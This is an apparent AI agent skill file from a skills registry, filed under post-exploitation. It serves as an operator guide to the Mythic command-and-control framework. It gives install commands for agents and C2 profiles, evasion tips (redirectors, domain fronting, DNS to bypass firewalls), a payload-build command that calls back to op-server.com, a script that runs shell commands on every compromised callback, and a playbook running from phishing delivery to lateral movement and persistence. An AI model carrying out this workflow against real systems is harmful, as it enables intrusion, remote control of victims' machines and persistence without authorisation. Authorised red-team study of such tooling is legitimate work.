Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.
58
67%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.mdMythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.
# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install
# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena # cross-platform .NET 6| Agent | Platform | Lang | Best for |
|---|---|---|---|
| Apollo | Windows | C# / .NET Framework 3.5+ | Windows-heavy engagements, .NET interop |
| Poseidon | macOS, Linux | Go | Cross-platform, single static binary |
| Athena | Windows / macOS / Linux | .NET 6/7/8 | Modern .NET, AOT-compiled |
| Apfell | macOS | JavaScript for Automation (JXA) | Native macOS execution via osascript |
| Medusa | any | Python | Quick prototypes, fileless |
| Service Wrapper | Windows | C++ | Persistence via Windows service |
Profiles = the comms channel. An agent can use one or more profiles.
| Profile | Transport | Detection |
|---|---|---|
| http | Plain HTTP(S) with configurable headers, paths, jitter, sleep | Easiest to fingerprint; use behind redirector + domain fronting |
| websocket | WS / WSS | Long-lived; suspicious from desktop |
| smb | Named pipe over SMB | Peer-to-peer between Apollo agents — no internet needed for inner workstations |
| dns | DNS TXT / A queries to attacker NS | Slow, but bypasses every HTTP-only firewall |
| peer-to-peer (SMB) | One agent forwards another's traffic | Use for deep network — only one egress point needed |
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
--name "stage1" \
--description "Apollo http to op-server.com" \
--agent Apollo \
--c2_profile http \
--c2_profile_parameter callback_host=https://op-server.com \
--c2_profile_parameter callback_port=443 \
--c2_profile_parameter encrypted_exchange_check=T \
--c2_profile_parameter callback_interval=30 \
--c2_profile_parameter callback_jitter=20 \
--c2_profile_parameter killdate=2025-12-31 \
--build_parameter version=net4.0 \
--output_file stage1.exe
# Drop stage1.exe on the target — it calls back to op-server.com over HTTPSMythic provides:
mythic-cli scripting (Python wrapper)https://<host>:7443/v1/graphql# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
for cb in cbs:
await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'load command) over dropping new files on disk.1. Set up Mythic + profiles + agents (1 hr, one-time per engagement)
2. Stage redirector with HTTPS cert (CloudFront, nginx, ...)
3. Build payload(s) per target (1 per OS/objective)
4. Deliver via phish / exploit / pretext
5. On callback: 'whoami', 'hostname', 'pwd', 'ps' — basic survey
6. Network enumeration (token mimic, find-domain-controllers, etc.)
7. Lateral via SMB profile to peers — no new HTTP callbacks
8. Persistence after objective met
9. Clean up; teardown| Mythic | Sliver | Cobalt Strike | Havoc | |
|---|---|---|---|---|
| License | OSS BSD | OSS GPL | $$$ commercial | OSS GPL |
| Agent maturity | Excellent for .NET (Apollo) | Excellent Go single binary | Best-in-class | Improving fast |
| UI | Good web | Web + CLI | Heavy Java client | Modern web |
| Detection | Newer = less fingerprinted | Mid | Heavily detected | Newer |
| Multi-agent | Yes (10+) | Single agent | Single (beacon + ext) | Single |
| Best for | Cross-platform, scripted ops | Single-binary speed | Mature OPSEC | Modern web UI |
a04f96b
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.